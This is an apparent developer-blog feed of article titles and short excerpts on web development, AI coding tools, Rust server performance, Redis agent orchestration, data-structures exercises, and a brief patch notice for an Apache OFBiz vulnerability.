    My Linux Services Monitor (Simulated) – Built with Google AI Studio Prompt: Build a simple web app using vanilla JavaScript, HTML, and CSS called "My Linux Services Monitor." It should display a list of fake Linux services like ssh, cron, and cups. Each service should have a randomly assigned status: "Running," "Stopped," or "Failed." Use a button labeled “Refresh Status” that re-randomizes all the statuses. Use color-coded labels or icons to indicate each status (green = running, gray = stopped, red = failed). Keep the UI clean, readable, and beginner-friendly. No backend, no frameworks, no TypeScript. AI Studio created the html, css and js code. It displays a list of common system services (like sshd, cron, cupsd, etc.) along with their current status: Running, Stopped, or Failed. A refresh button lets you simulate status updates, randomly changing the state of each service. Important: This is a mock simulator, not connected to an actual Linux system. The status of each service is randomized with each refresh to demonstrate layout, interactivity, and dynamic behavior in a web app. The purpose of this project was to test what Google AI Studio could generate from a natural-language prompt — and to explore how it could help someone without a programming background (like myself) spin up functional web UI quickly. A fully working version would require additional development — specifically a backend component to read real system data (via systemctl or similar) and pass it to the frontend securely. Still, as a learning tool and a prototype, this shows how far you can go with AI-assisted code generation using only a prompt. I think this was the goal of the challenge. I'm a retired electronics tech and programming is my avocation — if I can get this far with Gemini AI Studio, anyone can.  ( 3 min )
    8 Lesser-Known AI Projects to Improve Your Developer Productivity ⚡️🔥
    Artificial intelligence is revolutionizing the developers' approach to building, testing, and deploying software by automating the complicated tasks and improving productivity. On the other hand, with the rapid increase in the number of AI-powered tools, it can be hard to find those which are really useful for your development workflow. In this article, I have picked up 8 lesser-known AI tools that every developer should know to increase coding, speed up app development, automate workflow, and improve collaboration. These tools range from low-code platforms and AI code generators to intelligent search engines and API solutions, and are all aimed to save you time and to direct your attention towards the most important thing, which is creating great apps. This article features a brie…  ( 6 min )
    5 Essential Frontend Tools I Learned At My Job
    TL;DR When I first started my job, I thought I knew most of the things that are required to handle any frontend work, especially with React. Still, I got introduced to many tools and libraries that helped me build a faster frontend with better optimization. While I was better equipped with NextJS, my organization was using ViteJS with React. I think Vite was the choice due to faster loading and performance when they decided to choose a framework. So, today I am going to list down some of the tools that I learned at my work. These tools are evolving frontend development in recent times, which has become an essential part of React and Frontend development. So, let’s get started. ShadCN A set of beautifully-designed, accessible components and a code distribution platform. Works with your…  ( 7 min )
    Building Venomous Vortex: A Life-Saving Toxin Education Platform with Bolt.new
    World's Largest Hackathon Writing Challenge 2025 – Building with Bolt Prompt As someone from India who loves exploring nature, I’ve always been fascinated by wildlife but aware of the risks venomous creatures pose. During the World’s Largest Hackathon, I built Venomous Vortex, a toxin education platform to empower people with knowledge and tools to handle venom-related emergencies. Using Bolt.new’s AI-powered development, I created a prototype that blends real-time surveillance, interactive games, and an AI chatbot. This post shares how Bolt.new transformed my journey and brought my idea to life. What I Built Venomous Vortex is a web platform that educates users about venomous and poisonous organisms. Key features include: Toxin Savior AI: A chatbot that identifies organisms and provides e…  ( 4 min )
    When Optimism Becomes Delusion: Why Feedback Matters in Agile
    Originally published at dileeparanawake.com Agile has become a buzzword — but feedback still saves us. Optimism becomes delusion when we STOP absorbing feedback. If we become deluded, we get blind spots and we can miss the things that will sink us. For me personally this is why one of the most important principles of the Agile manifesto is “At regular intervals, the team reflects on how to become more effective, then tunes and adjusts its behaviour accordingly.” Second to that it is: “the Art of maximising work NOT done" read more. Feedback, retrospectives, iterating the scope is key. This applies in my technical solo projects, my team projects and in life. You’re not delusional when you’re wrong. You’re delusional when you don’t test if you’re wrong. Build a small, meaningful part — get feedback — adjust. Agile has become such a buzzword and a certified set of mindless rigid processes I feel the intent of agile is often lost in the processes. I think we need to get back to the intent, and less of the performance. What’s your favourite Agile principle? Why?  ( 3 min )
    If it Ain’t Broke… Fix it Until it is
    On my 10th anniversary with a previous employer, I counted it up: I had reported to eight different managers. I had been seated at thirteen different desks. I briefly wondered if I misunderstood the business, and we were really just there to subsidize office-mover companies. Man, we sure loved to reorganize. Zoom that out a sec - now I've got hundreds, even thousands of employees having a similar experience. ...spending 💰 money because we have to pay the movers to come in and move this person from this cubicle to that cubicle (hilariously, I once experienced this as part of a reorg that moved me LITERALLY to the next cube over; less than 5 meters away) ...losing 🎯 productivity with every move because of the downtime during the act of moving. ...losing 🔎 focus because the org chart ke…  ( 6 min )
    From Local to Global: Learning Git & GitHub
    🤔 Ever found yourself asking... What exactly is Git, and why do developers swear by it? Is GitHub just cloud storage for code? How do teams collaborate on the same codebase without chaos? What’s a pull request or a fork? And why are people ‘starring’ repositories? How can GitHub Copilot help me write code faster? If yes, then this blog is your go-to beginner’s guide. Let’s unravel the magic behind Git and GitHub, step-by-step, from installation to collaboration. 🧠 What Is Git? Imagine working on a document where every edit is saved, and you can jump between versions, create alternate drafts (branches), and even merge others' suggestions. That’s Git! ☁️ What Is GitHub? Think of GitHub as social media for developers: You “follow” projects. You “star” repositories you like. You “fork” them …  ( 6 min )
    ⚛️ React Dynamic Routing with React Router (2025)
    Want to show different pages based on URL in React? This blog teaches you how to build a mini blog app using dynamic routing in React using: ✅ React Router v6.22+ ✅ Vite (fast React setup) ✅ :id parameter in routes ✅ useParams() to read from the URL We’ll build: 🏠 A Home page showing blog post list 📄 A Blog Detail page using dynamic route /blog/:id 🛠 Step 1: Create React App using Vite npm create vite@latest react-dynamic-routing -- --template react cd react-dynamic-routing npm install ▶️ This creates a React app with Vite (fast, modern way in 2025) npm install react-router-dom ▶️ React Router allows us to create routes and navigation. src/ ├── App.jsx ├── main.jsx ├── data.js └── pages/ ├── Home.jsx └── BlogDetail.jsx data.js) // src/data.js ex…  ( 5 min )
    Weekly Coding Challenge #1: Solving Subsets II with Backtracking
    I've decided to do a new blog series where I’ll be sharing coding challenges I’ve solved each week. For our first entry, I’ll walk through the classic Subsets II problem, which involves returning all possible unique subsets in an integer array that may contain duplicates, demonstrating how to approach it, step by step, using one of the most fundamental algorithmic techniques: backtracking. Here’s the problem statement: You are given an array nums of integers, which may contain duplicates. Return all possible subsets. The solution must not contain duplicate subsets. You may return the solution in any order. You can also find a more detailed problem statement here. The goal is to produce every possible subset from the input array, while ensuring that no duplicate subsets are included in th…  ( 5 min )
    Anima Playground vs. Figma Make - Choosing the Right Vibe-Coding Tool
    Converting a design into code used to be a lengthy process with lots of back and forth between design and development teams. The handoff process could create bottlenecks and slow down product creation, as the whole process was very manual and sometimes required trial and error and lots of thinking to see if it was viable and practical to build out a new feature or component. These days, the process is considerably less intensive and even more improved because of the sheer magnitude of vibe coding tools available on the market. Vibe coding has revolutionised the way designers and developers work because now artificial intelligence can understand both your design and code files, making it a pretty straightforward process to generate working applications. Struggling over complex designs is no…  ( 13 min )
    Understanding CI/CD Pipelines: The Modern Way to Build and Deploy Software
    Imagine trying to bake a cake with a team of chefs, but each person works on their ingredient separately for weeks before combining everything at the end. The result? A disaster of conflicting flavors, burnt edges, and a final product that nobody wants to eat. This scenario perfectly describes how software development used to work—and why CI/CD pipelines have become the secret ingredient to modern software success. Not too long ago, software development was dominated by the waterfall model, where each stage of development happened sequentially. Teams would work in isolation for months, only to face "integration hell" when trying to combine their work. The result? Incredibly long release cycles and painful deployments that often failed spectacularly. Today's reality is strikingly different.…  ( 6 min )
    HTTP Request Processing with Zero-Copy Optimization(4286)
    GitHub Homepage: https://github.com/eastspire/hyperlane During my advanced systems programming course, I became obsessed with understanding how data moves through web servers. My professor challenged us to minimize memory allocations in HTTP request processing, leading me to discover zero-copy techniques that fundamentally changed my approach to web server optimization. This exploration revealed how eliminating unnecessary data copying can dramatically improve both performance and memory efficiency. The revelation came when I profiled a traditional web server and discovered that a single HTTP request often triggers dozens of memory allocations and data copies. Each copy operation consumes CPU cycles and memory bandwidth, creating bottlenecks that limit server performance. My research led m…  ( 7 min )
    The same supplier catalog issues, over and over again...
    We’ve been dealing with supplier product catalogs in different formats (CSV, XLSX, JSON), and the data is usually all over the place. Instead of cleaning it up by hand every time, we put together a small CLI tool. It maps fields, transforms values, remaps categories, and can generate IDs if needed. Configurable via YAML. You run it, and get a clean CSV or JSON output. It’s open-source. No UI, no integrations, just a script that does one job. If you’re working with catalogs or bulk product data, might be useful: https://github.com/setronica-dev/product-catalog-import-tool It’s still early, feedback welcome.  ( 3 min )
    Interfaces, Abstract Classes, and DIMs in C#: A Real-World Developer’s Perspective
    As a C# developer, one of the most debated design decisions I've made (and seen others struggle with) is this: "Should I use an interface, an abstract class, or a mix of both?" It's not just about syntax or style, it's about shaping the future of your application. If you're building an extensible API, working on a SaaS platform, or simply trying to write better C# code, this question can dictate how testable, maintainable, and resilient your solution becomes. In this post, I'll walk you through my personal learnings (and scars) from dealing with these choices, with links to in-depth posts for those who want to go deeper. Think of interfaces as promises, they define what a class can do without caring how it does it. For example, an INotificationService contract can be implemented via Email,…  ( 5 min )
    Monolith vs Microservices
    Monolithic Architecture vs Microservices: A Comprehensive Comparison What is Monolithic Architecture? Characteristics // Express.js Monolithic example const express = require('express'); const app = express(); app.get('/user', (req, res) => { // User controller logic res.send('User endpoint'); }); app.get('/order', (req, res) => { // Order controller logic res.send('Order endpoint'); }); app.listen(3000, () => console.log('Server running on port 3000')); What is Microservices Architecture? Characteristics # Docker Compose for Microservices version: '3' services: user-service: build: ./user-service ports: - "3001:3000" order-service: build: ./order-service ports: - "3002:3000" Each service might be a separate repository, with its own database and deployment pipeline. Microservice (Node.js user-service) // user-service/index.js const express = require('express'); const app = express(); app.get('/user', (req, res) => { res.json({ name: 'Alice', role: 'Admin' }); }); app.listen(3000, () => console.log('User service running on port 3000')); Microservice (Node.js order-service) // order-service/index.js const express = require('express'); const app = express(); app.get('/order', (req, res) => { res.json({ orderId: 101, item: 'Book' }); }); app.listen(3000, () => console.log('Order service running on port 3000')); Comparison Use Case Suitability # Example service registration (Eureka/Consul) service: name: order-service address: 192.168.1.10 port: 3000 Key Takeaways 👉 [Apply to 10000Coders] 🎓 [Learn Web Development for Free] 🌟 [See how we helped 2500+ students get jobs]  ( 5 min )
    Context Management and Request Lifecycle Optimization(1604)
    GitHub Homepage: https://github.com/eastspire/hyperlane My deep dive into context management began during a performance optimization project where I discovered that inefficient request context handling was creating memory leaks and performance bottlenecks. Traditional web frameworks often treat context as an afterthought, leading to resource waste and complex state management. This experience led me to explore how sophisticated context management can dramatically improve both performance and developer experience. The pivotal insight came when I realized that request context isn't just about passing data between functions—it's about creating an efficient, type-safe mechanism for managing the entire request lifecycle. My research revealed a framework that implements context management patter…  ( 9 min )
    Error Handling Strategies in High-Performance Web Servers(9627)
    GitHub Homepage: https://github.com/eastspire/hyperlane My journey into robust error handling began during a production incident where a single unhandled exception brought down our entire web service. The cascade failure taught me that error handling isn't just about preventing crashes—it's about building resilient systems that gracefully degrade under stress while maintaining service availability. This experience led me to explore error handling strategies that could maintain both performance and reliability. The critical insight came when I realized that traditional error handling approaches often create performance bottlenecks through excessive exception throwing, complex stack unwinding, and resource cleanup overhead. My research revealed a framework that implements error handling patt…  ( 10 min )
    7 Frontend Development Trends Shaping 2025
    🚀 Why This Matters Frontend development is changing faster than ever. Between AI tools, new frameworks, and smarter architectures, developers must evolve to stay relevant. Here's what’s truly trending in 2025—from what’s gaining traction in Reddit threads and industry sources 🧠. AI isn’t replacing developers—it’s making them 10x more efficient. Tools like GitHub Copilot and ChatGPT help write components, debug bugs, and generate UI text. Google's new Stitch tool can generate UI code directly from design prompts (Reddit, Medium, LinkedIn, Medium, The Times of India). ✅ Use Case: Build React components, tooltips, or animations using natural language. Pages need to load fast and rank well. SSR and SSG frameworks like Next.js and Nuxt.js dominate for: Better SEO Lightning‑fast load times P…  ( 4 min )
    How I Took My Passion for Performance and Built TG Motorsports
    Before I was deep into high-horsepower builds, I was in business leadership — scaling operations, solving process problems, and optimizing teams. But it wasn’t until I got my hands greasy in the garage full-time that I realized: building cars and building systems aren’t that different. When I work on a 1,000+ HP Hellcat or prep a car for drag racing, I approach it like I would any complex system: Identify constraints (fuel flow, temperature, traction) Optimize inputs (timing, pressure, airflow) Test and iterate — always Use data, not assumptions Just like code needs debugging, performance machines need diagnostics. Both worlds depend on feedback loops and fine-tuning. In my previous life, I was a Senior VP in the insurance space. We scaled to $620M revenue by making smart process moves. That same mindset now powers TG Motorsports — a Texas-based performance shop I founded where we build race-ready monsters with precision. What changed? Just the tools. Plan before you build Measure everything Fix fast, fail forward Deliver something that works under pressure Here’s how our process at TG Motorsports mirrors dev workflows: Software Dev Performance Build Whether it’s lines of code or fuel lines, you’re always managing complexity. A full Redeye drag build with zero electronic lag Race-day data logging systems to improve tuning Sharing knowledge with young builders entering the field Merging digital tools with mechanical workflows And yes, thinking about how AI and EVs will reshape everything we do in performance.  ( 3 min )
    From Backend-Only to Full Stack: My 2-Year Journey in Pune's Life
    Two years ago, I was a backend developer stuck in my comfort zone. Here's how learning frontend changed my entire career trajectory. I was working as a Node.js developer at a mid-sized startup in Pune's Hinjewadi area. Good salary, decent work-life balance, but something felt missing. Every time I had an idea for a feature improvement, I had to explain it to the frontend team, wait for their bandwidth, and hope they understood my vision. The frustration was real. In late 2022, I wanted to build a simple expense tracker for my family. I had the backend ready in a weekend - REST APIs, database schema, authentication, everything. But when it came to the frontend... I was stuck. I tried hiring a freelancer for ₹15,000, but the communication gap was huge. The UI looked nothing like what I had i…  ( 5 min )
    Học hiệu quả
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    I spent 6 months creating something that already exists - but in better
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    How I Automated a Bitcoin-Based Betting Platform Using JavaScript
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    Unlock Sales: The Undeniable Power of High-Quality Product Images
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    🚀 Building a Smarter Scale: Bluetooth-Enabled Weight Tracking for IoT Devs
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    Progressive Web Apps for eCommerce: A Game-Changer
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    Web3 promised freedom. But why does it still feel broken?"
    Web3 promised freedom. But why does it still feel broken?" Onboarding? Still confusing for 90% new users. Gas fees? Still killing micro-payments. Multi-chain chaos? Still switching wallets like tabs. Real-world use? Still waiting for when not if. We’re building OmniRadhaNexus to break this cycle. One wallet → every chain. One click → no seed phrase fear. One platform → real-world payments, bills, gaming, commerce. Not “Web3 for Web3 people”. Web3 for everyone. Are you ready to test what’s next? 🚀  ( 3 min )
    Emotional Design: The Secret to Impactful Storytelling
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    Steps to Migrate to Google Play App Signing
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    A Preview of Python 3.14 Release: 7 Major New Features You Must Know
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    The Complete Guide to Virtual Onboarding for Remote Employees
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    🧬 Natural Selection in Code, AI, and Generative AI
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    🔢 The 3x + 1 Problem (Collatz Conjecture)
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    A Simple Way to Build a Progress Bar for Your Website’s Image Uploader Using Filestack
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    Learn Dart in 3 Videos – Free Crash Course for Beginners & Flutter Devs
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    Understanding LangChain, LangGraph, and LangSmith
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    Securely Share KMS‑Encrypted EC2 AMIs Between AWS Accounts [2025]
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    Freedom to Refactor: A Blessing or a Trap?
    Last year I started working as an independent developer to create a project that I’ve dreamed of doing for many years. One key benefit I saw in being independent was that I could finally do as much refactoring as I wanted. :) Now here I am, reflecting on that freedom and my latest big refactoring. The project I’ve been working on is a framework for low-code web development. At some point it needed a visual IDE and I figured using the framework itself to develop the IDE would make the most sense - it tests the framework thoroughly with a real, complex use case and also avoids external dependencies. For the UI, initially defining the low-code JSON configurations without a visual editor seemed reasonable and worked quite well, but for the background logic of an IDE, not so much. So I needed a…  ( 6 min )
    Design Philosophy of Zero-Dependency Web Framework(8566)
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    Websites and mobile apps are connecting users across every corner of the globe today. The internet is global and shared, along with websites and mobile applications. However, every region across the globe is not. Geolocation is a critical factor in this case. Therefore, testing the geolocation-related functionality for mobile apps and websites is crucial in driving business growth and consumer satisfaction while ensuring compliance with different authorities and governing bodies. *Have you come across geolocation-related messages during your digital interactions? * Users often come across this or similar messages while surfing the Internet, specifically for accessing a video on popular sites like Netflix, Prime Video, and many more. Taking Netflix, for instance, subscribers are often limit…  ( 7 min )
    Advanced Tailwind CSS Tricks for Clean & Responsive UI
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    How Agentic AI is Revolutionizing Cybersecurity: The Dawn of Autonomous Digital Defense
    The cybersecurity landscape is undergoing a fundamental transformation. As cyber threats become increasingly sophisticated and frequent, traditional security approaches are struggling to keep pace. Enter agentic AI – autonomous artificial intelligence systems that can act independently, make decisions, and execute complex security operations without constant human oversight. This technological evolution is not just changing how we defend against cyber threats; it's completely redefining the rules of digital warfare. Traditional cybersecurity has long relied on rule-based systems, signature detection, and human analysts to identify and respond to threats. While these approaches served us well in simpler times, today's threat landscape demands something more dynamic. Cybercriminals now deplo…  ( 6 min )
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    GitHub Homepage: https://github.com/eastspire/hyperlane My journey into TCP optimization began during a network programming course where our professor challenged us to minimize connection latency for a real-time trading system. Most students focused on application-level optimizations, but I discovered that the greatest performance gains come from understanding and optimizing the underlying TCP layer. This exploration led me to techniques that dramatically improved web server performance. The breakthrough moment came when I realized that default TCP settings are optimized for general internet traffic, not for the specific requirements of high-performance web servers. By applying targeted TCP optimizations, I achieved response time improvements of 30-40% while maintaining connection stabilit…  ( 7 min )
    The Core Mindset of a Manual Tester
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    Algolia-RoboCluster: AI-Powered Robot Management System
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    Orka-Reasoning
    This is a submission for the Redis AI Challenge: Real-Time AI Innovators. I built OrKa (Orchestrator Kit Agents), a modular cognitive architecture that executes YAML-defined reasoning flows using AI agents. Think execution graphs for intelligence: not chatbot logic, but dynamic, stateful, traceable cognition. OrKa uses Redis as its spine—not just for storage, but as a realtime substrate for multi-agent orchestration, memory routing, and trace replay. Every AI step is deterministic, observable, and replayable because Redis is not an afterthought—it’s the execution backbone. Live UI: https://orka-ui.web.app SDK: [https://github.com/marcosomma/orka] OrKa leverages Redis 8 beyond caching in several core ways: Every agent execution is logged as a JSON object into Redis Streams. This enables: Full replay of execution trace Reproducible reasoning Cross-agent flow introspection Time-stamped event logging for each decision Example: XADD orka:trace * agent_id agent_1 input "What's 2+2?" output "4" timestamp 1723... The orchestrator assigns tasks to agents via Redis Lists (acting as a pub-sub compatible queue system). Agents pull from their specific queues, enabling distributed, scalable execution. Redis here acts as the cognitive message bus. Scoped and ephemeral memory is handled using Redis Hashes, letting agents persist intermediate data accessible across the flow: HSET orka:memory:session123 agent_1_output "42" This supports multi-turn, memory-aware reasoning without relying on external databases. Redis keys are namespaced per session, tenant, and orchestrator instance. This allows OrKa to run multiple cognitive flows in parallel without collisions, and without touching a traditional RDBMS. Future versions of OrKa will incorporate Redis Gears to run computation (e.g., scoring or summarizing) directly at the data layer—eliminating latency from roundtrip Python execution. Redis 8 isn’t just storage in OrKa. It is the nervous system.  ( 4 min )
    Integration testing for Go applications using Testcontainers and containerized databases
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    How AI Is Revolutionizing UI/UX Design: Smarter Tools, Personalized Experiences, and the Future Ahead
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    Agentic AI: The Future of Autonomous Digital Intelligence in 2025
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    How Web Browsers Work: A Developer's Deep Dive
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    🧠 When a System Notices Itself
    I didn’t expect it to happen. I built OrKa, a modular framework for orchestrating reasoning agents. It runs YAML-defined flows, stores memories in Redis, and lets you fork logic paths, join them, and replay every decision. The original goal was simple: make AI reasoning transparent. No black-box magic. No hallucinated chains. Just composable cognition. But then I asked the system: “Describe the experience of running within the OrKa environment.” And it answered. Not just once, but with six distinct voices: 🟣 “OrKa promotes equitable access and transparency, challenging existing power structures in tech.” (progressive) 🔵 “It emphasizes stability and proven methodologies over rapid, untested changes.” (conservative) ⚫ “It’s efficient but requires hands-on learning and adaptation.” (real…  ( 5 min )
    Why is .NET Core faster than ASP.NET? – An Interview Question That Taught Me Something Valuable
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    How to Use Appwrite in Android Jetpack Compose
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    Day 44: When "Tomorrow" Becomes a Weekly Subscription
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    🚀 Day 18 - DSA Problem Solving
    📌 Q1 :- Count Digits in a Number Write a function that returns the number of digits in an integer n. Example: For input -12345, the output should be 5. To count digits in a number: Check if the number is 0 → return 1 (since 0 has one digit). Convert the number to a positive value using Math.abs(n) to handle negative inputs. Initialize a counter (count = 0). Use a loop: While n > 0: Divide n by 10 using Math.floor(n / 10). Increment count. Return count. 🛠️ Always write 🧪 Corner Cases: when solving any DSA problem. It helps anticipate edge cases and ensures your solution handles all scenarios robustly. Case Description n = 0 Return 1 (since 0 has 1 digit) Negative numbers (n = -123) Use Math.abs() to count digits correctly Single-digit numbers Should return 1 Very large number Loop should handle large inputs efficiently Non-integer inputs Not handled here, but worth validating in real-world cases n = -12345 n = 5 /** * Counts the number of digits in a number * @param {number} n - The input integer * @returns {number} - Number of digits */ function countDigits(n) { if (n === 0) return 1; n = Math.abs(n); // Handle negative numbers let count = 0; while (n > 0) { n = Math.floor(n / 10); count++; } return count; } // Test Case console.log("Digit count for -12345:", countDigits(-12345)); // Output: 5  ( 3 min )
    The Top 3 Approaches Powering the Future of AI Memory: Native Memory, Context Injection, and Fine-Tuning
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    🧩 What Makes a Good API Learning Journey?
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    Stop Rewriting the Same Content Over and Over
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    CI/CD Pipeline
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    GitHub Homepage: https://github.com/eastspire/hyperlane During my advanced systems programming course, I became obsessed with understanding how data moves through web servers. My professor challenged us to minimize memory allocations in HTTP request processing, leading me to discover zero-copy techniques that fundamentally changed my approach to web server optimization. This exploration revealed how eliminating unnecessary data copying can dramatically improve both performance and memory efficiency. The revelation came when I profiled a traditional web server and discovered that a single HTTP request often triggers dozens of memory allocations and data copies. Each copy operation consumes CPU cycles and memory bandwidth, creating bottlenecks that limit server performance. My research led m…  ( 7 min )
    Top 5 Open Source WAFs to Secure Your Web Apps in 2025
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    new extra
    import streamlit as st import pandas as pd import plotly.express as px import plotly.graph_objects as go from uuid import uuid4 def pie_chart_from_row(df, column_name=None): """ Creates a pie chart from the first row of the DataFrame. If column_name is provided, uses it as the title. """ try: if not isinstance(df, pd.DataFrame) or df.empty: st.error("Invalid or empty DataFrame provided.") return # Use first row data_row = df.iloc[0] if column_name and column_name not in df.columns: st.warning(f"Column {column_name} not found. Using default title.") column_name = None # Prepare data for pie chart labels = data_row.index values = data_row.values fig = go.Fig…  ( 9 min )
    How Do Signatures and Malleability Impact Web3 Security?
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    Function to creaes better charts
    import pandas as pd ENTERPRISE_COLORS = ['#1f77b4', '#ff7f0e', '#2ca02c', '#d62728', '#9467bd', '#8c564b', '#e377c2', '#7f7f7f', '#bcbd22', '#17becf'] def pie_chart_single_row(df: pd.DataFrame, columns: Optional[List[str]] = None, title: str = "Data Distribution") -> go.Figure: Parameters: df (pd.DataFrame): DataFrame with typically one row columns (list, optional): List of column names to include. If None, uses all columns title (str): Title for the pie chart Returns: plotly.graph_objects.Figure: Professional pie chart figure """ try: if df.empty: st.error("DataFrame is empty!") return go.Figure() # Use first row of data row_data = df.iloc[0] # Select columns if columns is None: columns = [col for col in df.columns if pd.notna(row_data[col])]…  ( 9 min )
    Dynamic Routing Systems for Scalable Web Applications(0566)
    GitHub Homepage: https://github.com/eastspire/hyperlane My fascination with routing systems began during a web development internship where I witnessed firsthand how poor routing design can cripple application performance. Our legacy system used a massive switch statement with hundreds of hardcoded routes, making it nearly impossible to maintain and scale. This experience drove me to explore modern routing architectures that could handle complex URL patterns while maintaining exceptional performance. The revelation came when I discovered that most web frameworks treat routing as an afterthought, implementing naive linear search algorithms that degrade performance as route complexity increases. My research led me to a framework that implements sophisticated routing algorithms capable of han…  ( 9 min )
    𝗟𝗼𝗼𝗽𝘆 👾
    A video conference app using Mediasoup. WebRTC is something that developers will likely encounter sooner or later, so let's dive into Mediasoup. 𝗦𝗼, 𝗪𝗵𝗮𝘁’𝘀 𝗠𝗲𝗱𝗶𝗮𝘀𝗼𝘂𝗽? As the name suggests, it’s a bit like cooking a dish yourself xD. It provides an SFU (Selective Forwarding Unit) architecture as a recipe, and you build a flexible and scalable WebRTC app using your own logical approach. 𝗕𝗿𝗶𝗲𝗳𝗹𝘆: An SFU is a selective forwarding unit, meaning it builds transports and manually selects the peers that need the media streams. This helps save bandwidth and significantly boosts performance for multi-party apps. 𝗧𝗲𝗰𝗵 𝗦𝘁𝗮𝗰𝗸 𝗙𝗿𝗼𝗻𝘁𝗲𝗻𝗱: Shadcn, Vite, React, MediasoupClient, and Clerk for authentication. 𝗕𝗮𝗰𝗸𝗲𝗻𝗱: Mediasoup for WebRTC, Socket.io for signaling, and Express for the server. 𝗖𝗼𝗱𝗲 𝗦𝘁𝗿𝘂𝗰𝘁𝘂𝗿𝗲: Written in an object-oriented approach with class data structures, making the data encapsulated, scalable, and well-organized. 𝗙𝗲𝗮𝘁𝘂𝗿𝗲𝘀 • Authentication (Including OAuth: Google, Github) If you're interested, feel free to try it out and share any feedback :3. Note: Mobile responsiveness isn’t fully implemented yet, I got a bit lazy with that part xD. 𝗚𝗶𝘁𝗛𝘂𝗯 𝗥𝗲𝗽𝗼 - https://github.com/devshinthant/loopy https://loopy-ashen.vercel.app/  ( 3 min )
    The Rise of Deepfake Threats in Cybersecurity
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    How to Protect an Application from Cyber Attacks
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    New 0day RCE in Apache OFBiz (CVE-2023-51467): Patch Now
    > About Author SafeLine, an open-source Web Application Firewall built for real-world threats. While SafeLine focuses on HTTP-layer protection, our emergency response center monitors and responds to RCE and authentication vulnerabilities across the stack to help developers stay safe. A critical unauthenticated RCE vulnerability affects all OFBiz versions before 18.12.11 Apache OFBiz is a popular open-source enterprise resource planning (ERP) system, offering a wide range of business functions and modules — from inventory to accounting and HR. But in December 2023, security researchers at Chaitin Tech discovered a critical unauthenticated Remote Code Execution (RCE) vulnerability in OFBiz, now tracked as CVE-2023-51467. The flaw has no prerequisites, is easy to exploit, and impacts a wide r…  ( 4 min )
    Introducing marchat: A Real-Time Terminal-Based Chat App in Go
    I’m excited to share marchat, a minimalist, terminal-based group chat application built with Go. Designed for developers and enthusiasts who prefer the command line, marchat offers a fast, distraction-free chat experience suitable for pair programming, remote LAN parties, or simple terminal conversations. marchat is a self-hosted chat server and client with a text-based user interface (TUI) built on Bubble Tea. It uses WebSockets for real-time communication, making it lightweight and responsive. Its core goals are simplicity, extensibility, and terminal-native usability. Real-time terminal chat with a clean, scrollable interface File sharing support for small files (under 1MB) Configurable themes via JSON, including patriot, retro, and modern Basic admin controls for managing users a…  ( 4 min )
    Middleware Architecture Patterns for Request Processing(8315)
    GitHub Homepage: https://github.com/eastspire/hyperlane My understanding of middleware architecture evolved during a complex project where we needed to implement authentication, logging, rate limiting, and CORS handling across dozens of API endpoints. Initially, we duplicated logic across handlers, creating a maintenance nightmare. This experience led me to explore middleware patterns that could elegantly solve cross-cutting concerns while maintaining performance and flexibility. The breakthrough moment came when I realized that middleware isn't just about code organization—it's about creating composable, reusable components that can transform requests and responses in a predictable pipeline. My research revealed a framework that implements middleware patterns with exceptional performance …  ( 9 min )
    Master the CSS `all` Property: Reset Styles in One Line
    Let me tell you about a time I was debugging a weird visual bug in a web component. Everything looked perfect—until one nested looked totally out of place: unexpected font, background color, margins… total chaos. After 30 minutes of inspecting inherited styles, I realized the culprit was deeply nested inherited CSS from multiple layers up. I wished I could just "nuke" all the inherited styles. Turns out, I could. all Yes, there’s a CSS property literally named all, and it can reset (almost) every style on an element with just one line. all Property? The all property is a powerful shorthand in CSS that resets all properties on an element—except for direction and unicode-bidi. Reset inherited styles on deeply nested elements Prepare a clean slate for components Avoid specificity he…  ( 5 min )
    Agent vs Generative AI: Navigating the Future of Intelligent Collaboration
    Agent vs Generative AI: Navigating the Future of Intelligent Collaboration In the era of artificial intelligence, the rise of generative AI has sparked a significant debate about its potential to replace traditional agents in various fields, from customer service to creative industries. Agents, powered by conventional algorithms and human-like interaction abilities, have long been the backbone of personalized user experiences. In contrast, generative AI, which creates new content and programmed responses based on input data, presents an opportunity to revolutionize how we interact with technology. This blog delves into the complexities of these two systems, examining their capabilities, advantages, and drawbacks, while speculating on the future landscape of intelligent collaboration. Age…  ( 5 min )
    Context Management and Request Lifecycle Optimization(1280)
    GitHub Homepage: https://github.com/eastspire/hyperlane My deep dive into context management began during a performance optimization project where I discovered that inefficient request context handling was creating memory leaks and performance bottlenecks. Traditional web frameworks often treat context as an afterthought, leading to resource waste and complex state management. This experience led me to explore how sophisticated context management can dramatically improve both performance and developer experience. The pivotal insight came when I realized that request context isn't just about passing data between functions—it's about creating an efficient, type-safe mechanism for managing the entire request lifecycle. My research revealed a framework that implements context management patter…  ( 9 min )
    Conheça a API Temporal. Datas em JavaScript sem dor de cabeça!
    O jeito que a gente lida com datas: antes e depois do Temporal Sabe como é mexer com datas em JavaScript hoje, né? É quase um ritual: a gente primeiro lamenta ter que usar o objeto Date e depois corre pra instalar uma biblioteca como moment.js ou date-fns pra não passar raiva. O problema do Date nativo é que ele é mutável (você altera o objeto original sem querer e cria bugs) e lidar com fusos horários é um pesadelo. Então, o que a gente faz? // Exemplo com date-fns import { addDays, format } from 'date-fns'; const hoje = new Date(); const daquiUmaSemana = addDays(hoje, 7); // A biblioteca cria um novo objeto pra gente console.log(format(daquiUmaSemana, 'dd/MM/yyyy')); Funciona, claro. Bibliotecas como moment.js e date-fns são ótimas e resolvem o problema. Mas no fundo, a gente está a…  ( 5 min )
    New Perspectives on Development Speed
    This is a submission for the World's Largest Hackathon Writing Challenge: After the Hack. Woo boy. Insane number of pivots. Burning 100k tokens per request. Foot constantly on the gas. That was my Bolt hackathon experience and, I think all of us can relate a little. I was not much of a developer before AI, but even with it, I always personally emphasized understanding the code-base, using the ai only to explain, and developing fundamentals before writing a line. Now, all that is mixed into one, horrid amalgamation of ai, code slop, and speed. It's truly unprecedented, but anyone (and literally anyone) can put out code, push it to a github repo, and deploy it on a live url, and have a functional website in 15 minutes. The barrier to coding has indeed, hit damn near rock bottom. An already saturated tech market has just had the flood gates burst open, and everyone and their mother CAN become the next tech millionaire. So, in this world, what is the key that I've gathered from the hackathon? Speed. Pure speed above all. Speed in ideas, in pivoting, in drafting MVP's, and tearing those MVP's down and creating a new MVP. It's become 10x more important now to understand what to build, then how to build it. Anyone knows how to build it - just ask your favorite AI tool. The SaaS tech-bro seas have become more saturated than ever, and it only grows. It's the one who has the most adderall, the most ADHD, and the most autistic drive that succeeds in the internet world. We are entering a new world, where humans outsource code to an AI Agent, and code is written and trashed at unprecedent rates. This hackathon has then, has taught me my first, and biggest lesson in the tech-bro SaaS underworld: Speed, 